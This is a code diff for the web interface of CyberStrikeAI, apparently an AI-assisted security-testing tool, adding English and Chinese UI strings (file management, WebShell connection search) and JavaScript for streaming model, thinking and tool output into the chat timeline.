||||
},
|
||||
"dashboard": {
|
||||
@@ -171,7 +173,9 @@
|
||||
"lastIterSummary": "Last iteration: generating summary and next steps...",
|
||||
"summaryDone": "Summary complete",
|
||||
"generatingFinalReply": "Generating final reply...",
|
||||
"maxIterSummary": "Max iterations reached, generating summary..."
|
||||
"maxIterSummary": "Max iterations reached, generating summary...",
|
||||
"analyzingRequestShort": "Analyzing your request...",
|
||||
"analyzingRequestPlanning": "Analyzing your request and planning test strategy..."
|
||||
},
|
||||
"timeline": {
|
||||
"params": "Parameters:",
|
||||
@@ -183,7 +187,7 @@
|
||||
"execFailed": "Execution failed"
|
||||
},
|
||||
"tasks": {
|
||||
"title": "Task management",
|
||||
"title": "Task Management",
|
||||
"stopTask": "Stop task",
|
||||
"collapseDetail": "Collapse details",
|
||||
"newTask": "New task",
|
||||
@@ -321,7 +325,7 @@
|
||||
"parseModalApplyRun": "Fill and query"
|
||||
},
|
||||
"vulnerability": {
|
||||
"title": "Vulnerability management",
|
||||
"title": "Vulnerability Management",
|
||||
"addVuln": "Add vulnerability",
|
||||
"editVuln": "Edit vulnerability",
|
||||
"loadFailed": "Failed to load vulnerabilities",
|
||||
@@ -391,6 +395,8 @@
|
||||
"batchDownload": "Batch download",
|
||||
"refresh": "Refresh",
|
||||
"selectAll": "Select all",
|
||||
"searchPlaceholder": "Search connections...",
|
||||
"noMatchConnections": "No matching connections",
|
||||
"breadcrumbHome": "Root"
|
||||
},
|
||||
"mcp": {
|
||||
@@ -483,10 +489,14 @@
|
||||
"title": "System settings",
|
||||
"nav": {
|
||||
"basic": "Basic",
|
||||
"knowledge": "Knowledge base",
|
||||
"robots": "Bots",
|
||||
"terminal": "Terminal",
|
||||
"security": "Security"
|
||||
},
|
||||
"knowledge": {
|
||||
"title": "Knowledge base"
|
||||
},
|
||||
"robots": {
|
||||
"title": "Bot settings",
|
||||
"description": "Configure WeCom, DingTalk and Lark bots so you can chat with CyberStrikeAI on your phone without opening the web UI.",
|
||||
@@ -547,7 +557,7 @@
|
||||
"loggedOut": "Signed out"
|
||||
},
|
||||
"knowledge": {
|
||||
"title": "Knowledge management",
|
||||
"title": "Knowledge Management",
|
||||
"retrievalLogs": "Retrieval history",
|
||||
"totalItems": "Total items",
|
||||
"categories": "Categories",
|
||||
@@ -560,7 +570,7 @@
|
||||
"goToSettings": "Go to settings"
|
||||
},
|
||||
"roles": {
|
||||
"title": "Role management",
|
||||
"title": "Role Management",
|
||||
"createRole": "Create role",
|
||||
"searchPlaceholder": "Search roles...",
|
||||
"deleteConfirm": "Delete this role?",
|
||||
@@ -574,7 +584,7 @@
|
||||
"noDescriptionShort": "No description"
|
||||
},
|
||||
"skills": {
|
||||
"title": "Skills management",
|
||||
"title": "Skills Management",
|
||||
"monitorTitle": "Skills monitor",
|
||||
"createSkill": "Create Skill",
|
||||
"callStats": "Call stats",
|
||||
@@ -989,6 +999,59 @@
|
||||
"exportXlsxTitle": "Export results as Excel",
|
||||
"batchScanTitle": "Create batch task queue from selected rows"
|
||||
},
|
||||
"chatFilesPage": {
|
||||
"title": "File Management",
|
||||
"intro": "Files uploaded in chat appear here. Click “Copy path” to copy the server absolute path and paste it into a conversation so the model can reference the file.",
|
||||
"upload": "Upload",
|
||||
"conversationFilter": "Conversation ID",
|
||||
"conversationPlaceholder": "Leave empty for all",
|
||||
"searchName": "File name",
|
||||
"searchNamePlaceholder": "Filter by file name",
|
||||
"groupBy": "Group by",
|
||||
"groupNone": "None (flat list)",
|
||||
"groupByDate": "By date",
|
||||
"groupByConversation": "By conversation",
|
||||
"groupByFolder": "By folder (path navigation)",
|
||||
"browseRoot": "chat_uploads",
|
||||
"browseUp": "Up",
|
||||
"enterFolderTitle": "Open folder",
|
||||
"copyFolderPathTitle": "Copy relative path under chat_uploads/…",
|
||||
"folderPathCopied": "Folder path copied — paste into chat if needed",
|
||||
"folderEmpty": "This folder is empty",
|
||||
"confirmDeleteFolder": "Delete this folder and everything inside it? This cannot be undone.",
|
||||
"deleteFolderTitle": "Delete folder",
|
||||
"uploadToFolderTitle": "Upload file into this folder",
|
||||
"colSubPath": "Subfolder",
|
||||
"folderRoot": "(root)",
|
||||
"groupCount": "{{count}} files",
|
||||
"convManual": "Manual upload",
|
||||
"convNew": "New chat",
|
||||
"colDate": "Date",
|
||||
"colConversation": "Conversation",
|
||||
"colName": "Name",
|
||||
"colSize": "Size",
|
||||
"colModified": "Modified",
|
||||
"colActions": "Actions",
|
||||
"copyPath": "Copy path",
|
||||
"copyPathTitle": "Copy the absolute path on the server; paste into chat to reference this file",
|
||||
"pathCopied": "Path copied — paste it into chat",
|
||||
"uploadOkHint": "Uploaded. Use “Copy path” to copy the absolute path.",
|
||||
"moreActions": "More: open chat, edit, rename, delete",
|
||||
"download": "Download",
|
||||
"edit": "Edit",
|
||||
"rename": "Rename",
|
||||
"openChat": "Open chat",
|
||||
"confirmDelete": "Delete this file?",
|
||||
"editTitle": "Edit file",
|
||||
"renameTitle": "Rename",
|
||||
"newFileName": "New file name",
|
||||
"empty": "No chat uploads yet",
|
||||
"errorLoad": "Failed to load",
|
||||
"editBinaryHint": "Binary files (images, archives, etc.) cannot be edited as text here. Use Download and open locally.",
|
||||
"editUnavailable": "N/A",
|
||||
"editTooLarge": "File exceeds 2MB and cannot be edited here. Download and edit locally.",
|
||||
"errorGeneric": "Something went wrong. Please try again."
|
||||
},
|
||||
"vulnerabilityPage": {
|
||||
"statTotal": "Total",
|
||||
"filter": "Filter",
|
||||
@@ -1356,10 +1419,10 @@
|
||||
"userPromptHint": "This prompt is appended before user message to guide AI. It does not change system prompt.",
|
||||
"relatedTools": "Related tools (optional)",
|
||||
"defaultRoleToolsTitle": "Default role uses all tools",
|
||||
"defaultRoleToolsDesc": "Default role uses all tools enabled in MCP management.",
|
||||
"defaultRoleToolsDesc": "Default role uses all tools enabled in MCP Management.",
|
||||
"searchToolsPlaceholder": "Search tools...",
|
||||
"loadingTools": "Loading tools...",
|
||||
"relatedToolsHint": "Select tools to link; empty = use all from MCP management.",
|
||||
"relatedToolsHint": "Select tools to link; empty = use all from MCP Management.",
|
||||
"relatedSkills": "Related Skills (optional)",
|
||||
"searchSkillsPlaceholder": "Search skill...",
|
||||
"loadingSkills": "Loading skills...",
|
||||
|
||||
@@ -24,6 +24,7 @@
|
||||
"header": {
|
||||
"title": "CyberStrikeAI",
|
||||
"apiDocs": "API 文档",
|
||||
"github": "GitHub",
|
||||
"logout": "退出登录",
|
||||
"language": "界面语言",
|
||||
"backToDashboard": "返回仪表盘",
|
||||
@@ -45,6 +46,7 @@
|
||||
"tasks": "任务管理",
|
||||
"vulnerabilities": "漏洞管理",
|
||||
"webshell": "WebShell管理",
|
||||
"chatFiles": "文件管理",
|
||||
"mcp": "MCP",
|
||||
"mcpMonitor": "MCP状态监控",
|
||||
"mcpManagement": "MCP管理",
|
||||
@@ -171,7 +173,9 @@
|
||||
"lastIterSummary": "最后一次迭代:正在生成总结和下一步计划...",
|
||||
"summaryDone": "总结生成完成",
|
||||
"generatingFinalReply": "正在生成最终回复...",
|
||||
"maxIterSummary": "达到最大迭代次数,正在生成总结..."
|
||||
"maxIterSummary": "达到最大迭代次数,正在生成总结...",
|
||||
"analyzingRequestShort": "正在分析您的请求...",
|
||||
"analyzingRequestPlanning": "开始分析请求并制定测试策略"
|
||||
},
|
||||
"timeline": {
|
||||
"params": "参数:",
|
||||
@@ -391,6 +395,8 @@
|
||||
"batchDownload": "批量下载",
|
||||
"refresh": "刷新",
|
||||
"selectAll": "全选",
|
||||
"searchPlaceholder": "搜索连接...",
|
||||
"noMatchConnections": "暂无匹配连接",
|
||||
"breadcrumbHome": "根"
|
||||
},
|
||||
"mcp": {
|
||||
@@ -483,10 +489,14 @@
|
||||
"title": "系统设置",
|
||||
"nav": {
|
||||
"basic": "基本设置",
|
||||
"knowledge": "知识库",
|
||||
"robots": "机器人设置",
|
||||
"terminal": "终端",
|
||||
"security": "安全设置"
|
||||
},
|
||||
"knowledge": {
|
||||
"title": "知识库设置"
|
||||
},
|
||||
"robots": {
|
||||
"title": "机器人设置",
|
||||
"description": "配置企业微信、钉钉、飞书等机器人,在手机端直接与 CyberStrikeAI 对话,无需在服务器上打开网页。",
|
||||
@@ -989,6 +999,59 @@
|
||||
"exportXlsxTitle": "导出当前结果为 Excel",
|
||||
"batchScanTitle": "将所选行创建为批量任务队列"
|
||||
},
|
||||
"chatFilesPage": {
|
||||
"title": "文件管理",
|
||||
"intro": "管理在对话中上传的文件。需要让 AI 引用某文件时,在列表中点击「复制路径」,到对话里粘贴即可(路径为服务器上的绝对路径,与对话附件保存位置一致)。",
|
||||
"upload": "上传文件",
|
||||
"conversationFilter": "会话 ID",
|
||||
"conversationPlaceholder": "留空表示全部",
|
||||
"searchName": "文件名",
|
||||
"searchNamePlaceholder": "筛选文件名",
|
||||
"groupBy": "分组方式",
|
||||
"groupNone": "不分组(平铺)",
|
||||
"groupByDate": "按日期",
|
||||
"groupByConversation": "按会话",
|
||||
"groupByFolder": "按文件夹(路径浏览)",
|
||||
"browseRoot": "chat_uploads",
|
||||
"browseUp": "上级",
|
||||
"enterFolderTitle": "进入此文件夹",
|
||||
"copyFolderPathTitle": "复制该目录的相对路径(chat_uploads/…)",
|
||||
"folderPathCopied": "目录路径已复制,可粘贴到对话中",
|
||||
"folderEmpty": "此文件夹为空",
|
||||
"confirmDeleteFolder": "确定删除该文件夹及其中的全部文件?此操作不可恢复。",
|
||||
"deleteFolderTitle": "删除文件夹",
|
||||
"uploadToFolderTitle": "上传文件到此文件夹",
|
||||
"colSubPath": "子路径",
|
||||
"folderRoot": "(根目录)",
|
||||
"groupCount": "{{count}} 个文件",
|
||||
"convManual": "手动上传",
|
||||
"convNew": "新对话",
|
||||
"colDate": "日期",
|
||||
"colConversation": "会话",
|
||||
"colName": "文件名",
|
||||
"colSize": "大小",
|
||||
"colModified": "修改时间",
|
||||
"colActions": "操作",
|
||||
"copyPath": "复制路径",
|
||||
"copyPathTitle": "复制服务器上的绝对路径,可粘贴到对话中让模型引用该文件",
|
||||
"pathCopied": "路径已复制,可到对话中粘贴使用",
|
||||
"uploadOkHint": "上传成功。点击「复制路径」可复制绝对路径到剪贴板。",
|
||||
"moreActions": "更多:打开对话、编辑、重命名、删除",
|
||||
"download": "下载",
|
||||
"edit": "编辑",
|
||||
"rename": "重命名",
|
||||
"openChat": "打开对话",
|
||||
"confirmDelete": "确定删除该文件?",
|
||||
"editTitle": "编辑文件",
|
||||
"renameTitle": "重命名",
|
||||
"newFileName": "新文件名",
|
||||
"empty": "暂无对话附件",
|
||||
"errorLoad": "加载失败",
|
||||
"editBinaryHint": "图片、压缩包等二进制文件无法在此以文本方式编辑,请使用「下载」后在本地查看或处理。",
|
||||
"editUnavailable": "不可编辑",
|
||||
"editTooLarge": "文件超过 2MB,无法在此编辑,请下载后本地处理。",
|
||||
"errorGeneric": "操作失败,请稍后重试。"
|
||||
},
|
||||
"vulnerabilityPage": {
|
||||
"statTotal": "总漏洞数",
|
||||
"filter": "筛选",
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
+29
-2
@@ -2243,8 +2243,16 @@ async function deleteConversation(conversationId, skipConfirm = false) {
|
||||
await loadGroupConversations(currentGroupId);
|
||||
}
|
||||
|
||||
// 刷新对话列表
|
||||
loadConversations();
|
||||
// 刷新对话列表(使用分组接口以与其他入口一致)
|
||||
if (typeof loadConversationsWithGroups === 'function') {
|
||||
loadConversationsWithGroups();
|
||||
} else if (typeof loadConversations === 'function') {
|
||||
loadConversations();
|
||||
}
|
||||
// 通知其他模块(如 WebShell AI 助手)同步删除,保持列表一致
|
||||
try {
|
||||
document.dispatchEvent(new CustomEvent('conversation-deleted', { detail: { conversationId } }));
|
||||
} catch (e) { /* ignore */ }
|
||||
} catch (error) {
|
||||
console.error('删除对话失败:', error);
|
||||
alert('删除对话失败: ' + error.message);
|
||||
@@ -6284,4 +6292,23 @@ document.addEventListener('DOMContentLoaded', async () => {
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// 任意入口删除对话后同步:若删除的是当前对话则清空主区,并刷新侧边栏列表(如从 WebShell AI 助手删除)
|
||||
document.addEventListener('conversation-deleted', (e) => {
|
||||
const id = e.detail && e.detail.conversationId;
|
||||
if (!id) return;
|
||||
if (id === currentConversationId) {
|
||||
currentConversationId = null;
|
||||
const messagesDiv = document.getElementById('chat-messages');
|
||||
if (messagesDiv) messagesDiv.innerHTML = '';
|
||||
const readyMsg = typeof window.t === 'function' ? window.t('chat.systemReadyMessage') : '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
|
||||
addMessage('assistant', readyMsg, null, null, null, { systemReadyMessage: true });
|
||||
addAttackChainButton(null);
|
||||
}
|
||||
if (typeof loadConversationsWithGroups === 'function') {
|
||||
loadConversationsWithGroups();
|
||||
} else if (typeof loadConversations === 'function') {
|
||||
loadConversations();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
+319
-23
@@ -36,12 +36,16 @@ function translateProgressMessage(message) {
|
||||
'总结生成完成': 'progress.summaryDone',
|
||||
'正在生成最终回复...': 'progress.generatingFinalReply',
|
||||
'达到最大迭代次数,正在生成总结...': 'progress.maxIterSummary',
|
||||
'正在分析您的请求...': 'progress.analyzingRequestShort',
|
||||
'开始分析请求并制定测试策略': 'progress.analyzingRequestPlanning',
|
||||
// 英文(与 en-US.json 一致,避免后端/缓存已是英文时无法随语言切换)
|
||||
'Calling AI model...': 'progress.callingAI',
|
||||
'Last iteration: generating summary and next steps...': 'progress.lastIterSummary',
|
||||
'Summary complete': 'progress.summaryDone',
|
||||
'Generating final reply...': 'progress.generatingFinalReply',
|
||||
'Max iterations reached, generating summary...': 'progress.maxIterSummary'
|
||||
'Max iterations reached, generating summary...': 'progress.maxIterSummary',
|
||||
'Analyzing your request...': 'progress.analyzingRequestShort',
|
||||
'Analyzing your request and planning test strategy...': 'progress.analyzingRequestPlanning'
|
||||
};
|
||||
if (map[trim]) return window.t(map[trim]);
|
||||
const callingToolPrefixCn = '正在调用工具: ';
|
||||
@@ -63,6 +67,75 @@ if (typeof window !== 'undefined') {
|
||||
// 存储工具调用ID到DOM元素的映射,用于更新执行状态
|
||||
const toolCallStatusMap = new Map();
|
||||
|
||||
// 模型流式输出缓存:progressId -> { assistantId, buffer }
|
||||
const responseStreamStateByProgressId = new Map();
|
||||
|
||||
// AI 思考流式输出:progressId -> Map(streamId -> { itemId, buffer })
|
||||
const thinkingStreamStateByProgressId = new Map();
|
||||
|
||||
// 工具输出流式增量:progressId::toolCallId -> { itemId, buffer }
|
||||
const toolResultStreamStateByKey = new Map();
|
||||
function toolResultStreamKey(progressId, toolCallId) {
|
||||
return String(progressId) + '::' + String(toolCallId);
|
||||
}
|
||||
|
||||
// markdown 渲染(用于最终合并渲染;流式增量阶段用纯转义避免部分语法不稳定)
|
||||
const assistantMarkdownSanitizeConfig = {
|
||||
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
|
||||
ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
|
||||
ALLOW_DATA_ATTR: false,
|
||||
};
|
||||
|
||||
function escapeHtmlLocal(text) {
|
||||
if (!text) return '';
|
||||
const div = document.createElement('div');
|
||||
div.textContent = String(text);
|
||||
return div.innerHTML;
|
||||
}
|
||||
|
||||
function formatAssistantMarkdownContent(text) {
|
||||
const raw = text == null ? '' : String(text);
|
||||
if (typeof marked !== 'undefined') {
|
||||
try {
|
||||
marked.setOptions({ breaks: true, gfm: true });
|
||||
const parsed = marked.parse(raw);
|
||||
if (typeof DOMPurify !== 'undefined') {
|
||||
return DOMPurify.sanitize(parsed, assistantMarkdownSanitizeConfig);
|
||||
}
|
||||
return parsed;
|
||||
} catch (e) {
|
||||
return escapeHtmlLocal(raw).replace(/\n/g, '<br>');
|
||||
}
|
||||
}
|
||||
return escapeHtmlLocal(raw).replace(/\n/g, '<br>');
|
||||
}
|
||||
|
||||
function updateAssistantBubbleContent(assistantMessageId, content, renderMarkdown) {
|
||||
const assistantElement = document.getElementById(assistantMessageId);
|
||||
if (!assistantElement) return;
|
||||
const bubble = assistantElement.querySelector('.message-bubble');
|
||||
if (!bubble) return;
|
||||
|
||||
// 保留复制按钮:addMessage 会把按钮 append 在 message-bubble 里
|
||||
const copyBtn = bubble.querySelector('.message-copy-btn');
|
||||
if (copyBtn) copyBtn.remove();
|
||||
|
||||
const newContent = content == null ? '' : String(content);
|
||||
const html = renderMarkdown
|
||||
? formatAssistantMarkdownContent(newContent)
|
||||
: escapeHtmlLocal(newContent).replace(/\n/g, '<br>');
|
||||
|
||||
bubble.innerHTML = html;
|
||||
|
||||
// 更新原始内容(给复制功能用)
|
||||
assistantElement.dataset.originalContent = newContent;
|
||||
|
||||
if (typeof wrapTablesInBubble === 'function') {
|
||||
wrapTablesInBubble(bubble);
|
||||
}
|
||||
if (copyBtn) bubble.appendChild(copyBtn);
|
||||
}
|
||||
|
||||
const conversationExecutionTracker = {
|
||||
activeConversations: new Set(),
|
||||
update(tasks = []) {
|
||||
@@ -539,7 +612,77 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
});
|
||||
break;
|
||||
|
||||
case 'thinking_stream_start': {
|
||||
const d = event.data || {};
|
||||
const streamId = d.streamId || null;
|
||||
if (!streamId) break;
|
||||
|
||||
let state = thinkingStreamStateByProgressId.get(progressId);
|
||||
if (!state) {
|
||||
state = new Map();
|
||||
thinkingStreamStateByProgressId.set(progressId, state);
|
||||
}
|
||||
// 若已存在,重置 buffer
|
||||
const title = '🤔 ' + (typeof window.t === 'function' ? window.t('chat.aiThinking') : 'AI思考');
|
||||
const itemId = addTimelineItem(timeline, 'thinking', {
|
||||
title: title,
|
||||
message: ' ',
|
||||
data: d
|
||||
});
|
||||
state.set(streamId, { itemId, buffer: '' });
|
||||
break;
|
||||
}
|
||||
|
||||
case 'thinking_stream_delta': {
|
||||
const d = event.data || {};
|
||||
const streamId = d.streamId || null;
|
||||
if (!streamId) break;
|
||||
|
||||
const state = thinkingStreamStateByProgressId.get(progressId);
|
||||
if (!state || !state.has(streamId)) break;
|
||||
const s = state.get(streamId);
|
||||
|
||||
const delta = event.message || '';
|
||||
s.buffer += delta;
|
||||
|
||||
const item = document.getElementById(s.itemId);
|
||||
if (item) {
|
||||
const contentEl = item.querySelector('.timeline-item-content');
|
||||
if (contentEl) {
|
||||
if (typeof formatMarkdown === 'function') {
|
||||
contentEl.innerHTML = formatMarkdown(s.buffer);
|
||||
} else {
|
||||
contentEl.textContent = s.buffer;
|
||||
}
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case 'thinking':
|
||||
// 如果本 thinking 是由 thinking_stream_* 聚合出来的(带 streamId),避免重复创建 timeline item
|
||||
if (event.data && event.data.streamId) {
|
||||
const streamId = event.data.streamId;
|
||||
const state = thinkingStreamStateByProgressId.get(progressId);
|
||||
if (state && state.has(streamId)) {
|
||||
const s = state.get(streamId);
|
||||
s.buffer = event.message || '';
|
||||
const item = document.getElementById(s.itemId);
|
||||
if (item) {
|
||||
const contentEl = item.querySelector('.timeline-item-content');
|
||||
if (contentEl) {
|
||||
// contentEl.innerHTML 用于兼容 Markdown 展示
|
||||
if (typeof formatMarkdown === 'function') {
|
||||
contentEl.innerHTML = formatMarkdown(s.buffer);
|
||||
} else {
|
||||
contentEl.textContent = s.buffer;
|
||||
}
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
addTimelineItem(timeline, 'thinking', {
|
||||
title: '🤔 ' + (typeof window.t === 'function' ? window.t('chat.aiThinking') : 'AI思考'),
|
||||
message: event.message,
|
||||
@@ -580,6 +723,55 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
updateToolCallStatus(toolCallId, 'running');
|
||||
}
|
||||
break;
|
||||
|
||||
case 'tool_result_delta': {
|
||||
const deltaInfo = event.data || {};
|
||||
const toolCallId = deltaInfo.toolCallId || null;
|
||||
if (!toolCallId) break;
|
||||
|
||||
const key = toolResultStreamKey(progressId, toolCallId);
|
||||
let state = toolResultStreamStateByKey.get(key);
|
||||
const toolNameDelta = deltaInfo.toolName || (typeof window.t === 'function' ? window.t('chat.unknownTool') : '未知工具');
|
||||
const deltaText = event.message || '';
|
||||
if (!deltaText) break;
|
||||
|
||||
if (!state) {
|
||||
// 首次增量:创建一个 tool_result 占位条目,后续不断更新 pre 内容
|
||||
const runningLabel = typeof window.t === 'function' ? window.t('timeline.running') : '执行中...';
|
||||
const title = '⏳ ' + (typeof window.t === 'function'
|
||||
? window.t('timeline.running')
|
||||
: runningLabel) + ' ' + (typeof window.t === 'function' ? window.t('chat.callTool', { name: escapeHtmlLocal(toolNameDelta), index: deltaInfo.index || 0, total: deltaInfo.total || 0 }) : toolNameDelta);
|
||||
|
||||
const itemId = addTimelineItem(timeline, 'tool_result', {
|
||||
title: title,
|
||||
message: '',
|
||||
data: {
|
||||
toolName: toolNameDelta,
|
||||
success: true,
|
||||
isError: false,
|
||||
result: deltaText,
|
||||
toolCallId: toolCallId,
|
||||
index: deltaInfo.index,
|
||||
total: deltaInfo.total,
|
||||
iteration: deltaInfo.iteration
|
||||
},
|
||||
expanded: false
|
||||
});
|
||||
|
||||
state = { itemId, buffer: '' };
|
||||
toolResultStreamStateByKey.set(key, state);
|
||||
}
|
||||
|
||||
state.buffer += deltaText;
|
||||
const item = document.getElementById(state.itemId);
|
||||
if (item) {
|
||||
const pre = item.querySelector('pre.tool-result');
|
||||
if (pre) {
|
||||
pre.textContent = state.buffer;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case 'tool_result':
|
||||
const resultInfo = event.data || {};
|
||||
@@ -588,6 +780,39 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
const statusIcon = success ? '✅' : '❌';
|
||||
const resultToolCallId = resultInfo.toolCallId || null;
|
||||
const resultExecText = success ? (typeof window.t === 'function' ? window.t('chat.toolExecComplete', { name: escapeHtml(resultToolName) }) : '工具 ' + escapeHtml(resultToolName) + ' 执行完成') : (typeof window.t === 'function' ? window.t('chat.toolExecFailed', { name: escapeHtml(resultToolName) }) : '工具 ' + escapeHtml(resultToolName) + ' 执行失败');
|
||||
|
||||
// 若此 tool 已经流式推送过增量,则复用占位条目并更新最终结果,避免重复添加一条
|
||||
if (resultToolCallId) {
|
||||
const key = toolResultStreamKey(progressId, resultToolCallId);
|
||||
const state = toolResultStreamStateByKey.get(key);
|
||||
if (state && state.itemId) {
|
||||
const item = document.getElementById(state.itemId);
|
||||
if (item) {
|
||||
const pre = item.querySelector('pre.tool-result');
|
||||
const resultVal = resultInfo.result || resultInfo.error || '';
|
||||
if (pre) pre.textContent = typeof resultVal === 'string' ? resultVal : JSON.stringify(resultVal);
|
||||
|
||||
const section = item.querySelector('.tool-result-section');
|
||||
if (section) {
|
||||
section.className = 'tool-result-section ' + (success ? 'success' : 'error');
|
||||
}
|
||||
|
||||
const titleEl = item.querySelector('.timeline-item-title');
|
||||
if (titleEl) {
|
||||
titleEl.textContent = statusIcon + ' ' + resultExecText;
|
||||
}
|
||||
}
|
||||
toolResultStreamStateByKey.delete(key);
|
||||
|
||||
// 同时更新 tool_call 的状态
|
||||
if (resultToolCallId && toolCallStatusMap.has(resultToolCallId)) {
|
||||
updateToolCallStatus(resultToolCallId, success ? 'completed' : 'failed');
|
||||
toolCallStatusMap.delete(resultToolCallId);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (resultToolCallId && toolCallStatusMap.has(resultToolCallId)) {
|
||||
updateToolCallStatus(resultToolCallId, success ? 'completed' : 'failed');
|
||||
toolCallStatusMap.delete(resultToolCallId);
|
||||
@@ -679,47 +904,108 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
loadActiveTasks();
|
||||
break;
|
||||
|
||||
case 'response':
|
||||
// 在更新之前,先获取任务对应的原始对话ID
|
||||
case 'response_start': {
|
||||
const responseTaskState = progressTaskState.get(progressId);
|
||||
const responseOriginalConversationId = responseTaskState?.conversationId;
|
||||
|
||||
// 先添加助手回复
|
||||
|
||||
const responseData = event.data || {};
|
||||
const mcpIds = responseData.mcpExecutionIds || [];
|
||||
setMcpIds(mcpIds);
|
||||
|
||||
// 更新对话ID
|
||||
|
||||
if (responseData.conversationId) {
|
||||
// 如果用户已经开始了新对话(currentConversationId 为 null),
|
||||
// 且这个 response 事件来自旧对话,就不更新 currentConversationId 也不添加消息
|
||||
// 如果用户已经开始了新对话(currentConversationId 为 null),且这个事件来自旧对话,则忽略
|
||||
if (currentConversationId === null && responseOriginalConversationId !== null) {
|
||||
// 用户已经开始了新对话,忽略旧对话的 response 事件
|
||||
// 但仍然更新任务状态,以便正确显示任务信息
|
||||
updateProgressConversation(progressId, responseData.conversationId);
|
||||
break;
|
||||
}
|
||||
|
||||
currentConversationId = responseData.conversationId;
|
||||
updateActiveConversation();
|
||||
addAttackChainButton(currentConversationId);
|
||||
updateProgressConversation(progressId, responseData.conversationId);
|
||||
loadActiveTasks();
|
||||
}
|
||||
|
||||
// 添加助手回复,并传入进度ID以便集成详情
|
||||
const assistantId = addMessage('assistant', event.message, mcpIds, progressId);
|
||||
|
||||
// 已存在则复用;否则创建空助手消息占位,用于增量追加
|
||||
const existing = responseStreamStateByProgressId.get(progressId);
|
||||
if (existing && existing.assistantId) break;
|
||||
|
||||
const assistantId = addMessage('assistant', '', mcpIds, progressId);
|
||||
setAssistantId(assistantId);
|
||||
|
||||
// 将进度详情集成到工具调用区域
|
||||
integrateProgressToMCPSection(progressId, assistantId);
|
||||
|
||||
// 延迟自动折叠详情(3秒后)
|
||||
responseStreamStateByProgressId.set(progressId, { assistantId, buffer: '' });
|
||||
break;
|
||||
}
|
||||
|
||||
case 'response_delta': {
|
||||
const responseData = event.data || {};
|
||||
const responseTaskState = progressTaskState.get(progressId);
|
||||
const responseOriginalConversationId = responseTaskState?.conversationId;
|
||||
|
||||
if (responseData.conversationId) {
|
||||
if (currentConversationId === null && responseOriginalConversationId !== null) {
|
||||
updateProgressConversation(progressId, responseData.conversationId);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
let state = responseStreamStateByProgressId.get(progressId);
|
||||
if (!state || !state.assistantId) {
|
||||
const mcpIds = responseData.mcpExecutionIds || [];
|
||||
const assistantId = addMessage('assistant', '', mcpIds, progressId);
|
||||
setAssistantId(assistantId);
|
||||
state = { assistantId, buffer: '' };
|
||||
responseStreamStateByProgressId.set(progressId, state);
|
||||
}
|
||||
|
||||
state.buffer += (event.message || '');
|
||||
updateAssistantBubbleContent(state.assistantId, state.buffer, false);
|
||||
break;
|
||||
}
|
||||
|
||||
case 'response':
|
||||
// 在更新之前,先获取任务对应的原始对话ID
|
||||
const responseTaskState = progressTaskState.get(progressId);
|
||||
const responseOriginalConversationId = responseTaskState?.conversationId;
|
||||
|
||||
// 先更新 mcp ids
|
||||
const responseData = event.data || {};
|
||||
const mcpIds = responseData.mcpExecutionIds || [];
|
||||
setMcpIds(mcpIds);
|
||||
|
||||
// 更新对话ID
|
||||
if (responseData.conversationId) {
|
||||
if (currentConversationId === null && responseOriginalConversationId !== null) {
|
||||
updateProgressConversation(progressId, responseData.conversationId);
|
||||
break;
|
||||
}
|
||||
|
||||
currentConversationId = responseData.conversationId;
|
||||
updateActiveConversation();
|
||||
addAttackChainButton(currentConversationId);
|
||||
updateProgressConversation(progressId, responseData.conversationId);
|
||||
loadActiveTasks();
|
||||
}
|
||||
|
||||
// 如果之前已经在 response_start/response_delta 阶段创建过占位,则复用该消息更新最终内容
|
||||
const streamState = responseStreamStateByProgressId.get(progressId);
|
||||
const existingAssistantId = streamState?.assistantId || getAssistantId();
|
||||
let assistantIdFinal = existingAssistantId;
|
||||
|
||||
if (!assistantIdFinal) {
|
||||
assistantIdFinal = addMessage('assistant', event.message, mcpIds, progressId);
|
||||
setAssistantId(assistantIdFinal);
|
||||
} else {
|
||||
setAssistantId(assistantIdFinal);
|
||||
updateAssistantBubbleContent(assistantIdFinal, event.message, true);
|
||||
}
|
||||
|
||||
// 将进度详情集成到工具调用区域(放在最终 response 之后,保证时间线已完整)
|
||||
integrateProgressToMCPSection(progressId, assistantIdFinal);
|
||||
responseStreamStateByProgressId.delete(progressId);
|
||||
|
||||
setTimeout(() => {
|
||||
collapseAllProgressDetails(assistantId, progressId);
|
||||
collapseAllProgressDetails(assistantIdFinal, progressId);
|
||||
}, 3000);
|
||||
|
||||
// 延迟刷新对话列表,确保助手消息已保存,updated_at已更新
|
||||
|
||||
setTimeout(() => {
|
||||
loadConversations();
|
||||
}, 200);
|
||||
@@ -798,6 +1084,16 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
break;
|
||||
|
||||
case 'done':
|
||||
// 清理流式输出状态
|
||||
responseStreamStateByProgressId.delete(progressId);
|
||||
thinkingStreamStateByProgressId.delete(progressId);
|
||||
// 清理工具流式输出占位
|
||||
const prefix = String(progressId) + '::';
|
||||
for (const key of Array.from(toolResultStreamStateByKey.keys())) {
|
||||
if (String(key).startsWith(prefix)) {
|
||||
toolResultStreamStateByKey.delete(key);
|
||||
}
|
||||
}
|
||||
// 完成,更新进度标题(如果进度消息还存在)
|
||||
const doneTitle = document.querySelector(`#${progressId} .progress-title`);
|
||||
if (doneTitle) {
|
||||
|
||||
@@ -57,7 +57,11 @@ async function loadRoles() {
|
||||
return roles;
|
||||
} catch (error) {
|
||||
console.error('加载角色失败:', error);
|
||||
